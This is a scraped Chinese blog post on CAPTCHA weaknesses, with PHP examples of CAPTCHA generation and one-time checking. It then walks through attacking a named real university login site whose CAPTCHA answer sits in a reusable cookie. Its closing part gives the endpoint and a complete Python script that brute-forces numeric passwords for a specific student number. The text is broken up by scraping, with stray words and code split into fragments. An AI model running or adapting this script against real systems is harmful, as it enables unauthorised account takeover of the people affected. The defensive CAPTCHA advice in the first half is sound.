防止惡意用戶的csrf,好比一些bot的重複請求,相似的有密碼破解等操做。
可是驗證碼這個東西會下降用戶的體驗度,所以不能將其做爲必備的防禦措施。 php
一般的驗證碼內容有:數字,字母,噁心一點兒有中文,更有甚者用廣告當驗證碼,好比某網盤的。
而驗證碼驗證方式:通常是要求用戶重複輸入相同的內容,特殊一點兒的驗證碼會採用問答的形式。![]()
這個是QQ的互聯登錄時的驗證碼![]()
這個是security.tencent.com的驗證碼 python從上面的圖能夠看出來,驗證碼爲了防止被圖像識別通常都會在驗證碼生成的過程當中,會加入噪點和對圖片中的文字進行變形處理來增長自動化識別的難度。 算法
驗證碼的交互過程以下:數據庫
系統在生成驗證碼時主要的操做有:安全
- 利用隨機算法(如PHP中的mt_rand函數)從指定內容模版中選取出指定長度的字符串,記爲$code
- 將$code以圖片的形式展示給用戶,PHP中生成圖片可使用GD庫
- 將$code在服務端保留存放,一般放入用戶對應的session中。
$_SESSION['verifycode']=$code下面的生成驗證碼的代碼,是從網上扣來的,做者是@author iranw <wang_wenguan@yeah.net> cookie
123456789101112131415161718192021public
function
createimg(
$width
=100,
$height
=30,
$length
=4){
$this
->width =
$width
;
$this
->height =
$height
;
$this
->lenght =
$length
;
$this
->im = imagecreate(
$this
->width,
$this
->height);
$this
->SetBgColor();
//設置背景色
$this
->SetDot();
//設置干擾點
$this
->SetLine();
//設置干擾線
$this
->GetRandStr();
//獲取隨機字符
for
(
$i
=0;
$i
<
$this
->lenght;
$i
++){
$c_position
= !
$i
?
$this
->mar_left:
$c_position
+
$this
->pad;
$color
= ImageColorAllocate (
$this
->im, mt_rand ( 0, 100 ), mt_rand ( 0, 100 ), mt_rand ( 0, 100 ) );
//字符隨即顏色
ImageChar (
$this
->im,
$this
->fontsize,
$c_position
,
$this
->mar_top,
$this
->randstr[
$i
],
$color
);
//繪字符
}
Imagegif (
$this
->im );
ImageDestroy (
$this
->im );
return
$this
->randstr;
}
從原理來看,驗證碼可能存在的問題有:session
- 驗證碼生成時隨機算法的健壯性,在一些編程語言裏面random函數實際上僞隨機,也就是上一次random和下一次random之間是可以推導出來,那麼用戶在知道某一次的驗證碼後,徹底能夠推導出以後全部的驗證碼。
- 驗證碼要具有良好的防止OCR識別的能力, 通常圖像識別都是先經過二值化,而後高斯處理去噪點,最後邊緣檢測和分割。所以一個強壯驗證碼應該在生成的時候須要對文字進行變形,文字和文字之間最好能有重疊,這樣來加大圖像分割的難度。
- 驗證碼的答案必定要保存在用戶不可見的位置,一般是寫入到用戶的session中,也能夠寫到一些內存數據庫中,必定不能在用戶頁面中插入答案,無論這個頁面元素是否可見,也不能將驗證碼的答案寫到用戶的Cookie中,由於上述兩個地方都是在用戶側,用戶想要查看是確定能看到的,因此這個驗證碼對應的答案必定要存放在服務端。
- 最後一個問題屬於邏輯問題,驗證碼必定是一次性的,用完了立馬註銷。也就是圖3中的步驟4,若是系統沒有步驟4,那麼惡意用戶能夠在一次請求得到驗證碼後,使用該驗證碼不斷的發送請求,那麼系統設置驗證碼的目的也就形同虛設了。惡意用戶的攻擊流程以下:
![]()
圖4 惡意用戶攻擊流程圖
從上圖中咱們能夠看到用戶在第二次請求時(步驟4),因爲沒有通過步驟1和步驟2,所以系統中的驗證碼並無改變,所以用戶才能用上一次的驗證碼進行惡意請求。所以咱們能夠實現一個方法不管驗證碼是否正確,只要比較一次後就必須銷燬原來的驗證碼:
12345678910111213
/**
* @param $code 用戶提交的驗證碼
* @return bool 驗證碼正確返回true
*/
public
function
checkCode(
$code
){
$flag
= false;
//比較驗證碼
if
(isset(
$_SESSION
[
'verifycode'
]))
$flag
=
strtolower
(
$_SESSION
[
'verifycode'
]) ==
strtolower
(
$code
);
//清空已有的驗證碼信息
unset(
$_SESSION
[
'verifycode'
]);
return
$flag
;
}
因爲手上恰好遇到了一個站點有這樣的問題,也就是驗證碼存在cookie中,並且沒有有效銷燬的狀況,那麼接下來就說一下針對這樣的狀況如何利用。app
有問題的站點:http://gd.whut.edu.cn/etm/ETMDCP/dom
請求驗證碼的HTTP請求:http://gd.whut.edu.cn/etm/ETMDCP/other/Code.aspx?0.8546793526038527
Cookie接收和發送如圖:
驗證碼如圖:
所以在登陸破解的時候根本不須要關注驗證碼的圖片,只須要查看響應頭中的Set-Cookie中CheckCode字段就能夠。咱們在破解密碼過程當中只須要不斷髮送用戶名+密碼+這個CheckCode就能夠了。下面是我寫的一段python代碼來爆破密碼的腳本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
|
#!/usr/bin/env python
#coding:utf-8
'''
Author: HuangJacky
Description: 破解研究生系統登陸密碼
Time: 2013-06-18
Email: huangjacky@163.com
QQ: 4462676
'''
import
sys
import
httplib2
import
urllib
import
time
__author__
=
'fiend'
reload
(sys)
sys.setdefaultencoding(
"utf-8"
)
#@UndefinedVariable
headers
=
{
'Host'
:
'gd.whut.edu.cn'
,
'Cookie'
:
'ASP.NET_SessionId=j1ukxkeurn31yh45e21r3r55; CheckCode=6245'
,
'Content-Type'
:
'application/x-www-form-urlencoded'
}
v
=
'密碼錯誤!'
data
=
{
'__VIEWSTATE'
:
'/wEPDwUKMTMyOTgyMjUxMg8WBB4RTG9naW5UaW1lTGltaXRTZXQFBUNMT1NFHghmaWxlUGF0aAUbRTpcZXRtXEVUTURDUFxMaW5zX3dobGcuaW5pFgICAw9kFgICAQ8WAh4Fc3R5bGUFiQFiYWNrZ3JvdW5kOnVybChvdGhlci9UaXRsZVBpYy9oZWFkMjAxMzA0MTAuanBnKSBuby1yZXBlYXQ7IHdpZHRoOjU4MnB4OyBoZWlnaHQ6MzE0cHg7IG1hcmdpbjowIGF1dG87IG1hcmdpbi10b3A6MjIzcHg7IHRleHQtYWxpZ246Y2VudGVyOxYEAgcPEGQPFgRmAgECAgIDFgQQBQnnrqHnkIblkZgFAjAxZxAFBuWtpueUnwUCMDNnEAUG5a+85biIBQIwN2cQBQzor4TlrqHkuJPlrrYFAjA4Z2RkAgsPDxYCHgRUZXh0BQMwMTBkZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUJYnRuX2xvZ2luloNQd+iL1vSdm+yjJz5XwgAEOYU='
,
'__EVENTVALIDATION'
:
'/wEWCQLhtbHJCgL4hPDxAQL7w4LuCgLLm6aZAgKOhqnMBgKOhpHMBgKOhoHMBgKOhsXPBgLjl+vcBIxSBFKNaX7oywTJkaGHdttr98yb'
,
'txt_User'
:
'學號'
,
'txt_Pass'
:'密碼',
'txt_Code'
:'驗證碼',
'drp_type'
:
'03'
,
'btn_login.x'
:
'35'
,
'btn_login.y'
:
'5'
}
h
=
httplib2.Http()
def
test(sno,pwd):
data[
'txt_User'
]
=
sno
data[
'txt_Pass'
]
=
pwd
print
sno,
':'
,pwd
resp,content
=
h.request(url,
'POST'
,urllib.urlencode(data),headers)
if
resp.status
=
=
200
:
if
content.find(v,
5000
)
=
=
-
1
:
print
'password is '
,pwd
return
True
else
:
return
False
elif
resp.status
=
=
302
:
print
'password is '
,pwd
return
True
else
:
print
resp
return
False
def
init(code,cookie
=
None
):
if
cookie:
headers[
'Cookie'
]
=
cookie
data[
'txt_Code'
]
=
code
if
__name__
=
=
'__main__'
:
init(
2589
,
'ASP.NET_SessionId=j1ukxkeurn31yh45e21r3r55; CheckCode=4427'
)
sno
=
'1049721101334'
print
'Now Cracking is '
,sno
i
=
1
while
i <
9999999
:
nn,dd
=
divmod
(i,
100
)
if
dd
=
=
0
:
time.sleep(
2
)
s
=
str
(i)
pwd
=
s
if
test(sno,pwd):
break
i
+
=
1
time.sleep(
0.1
)
print
'done'
|
我是HuangJacky,今天就到這裏了。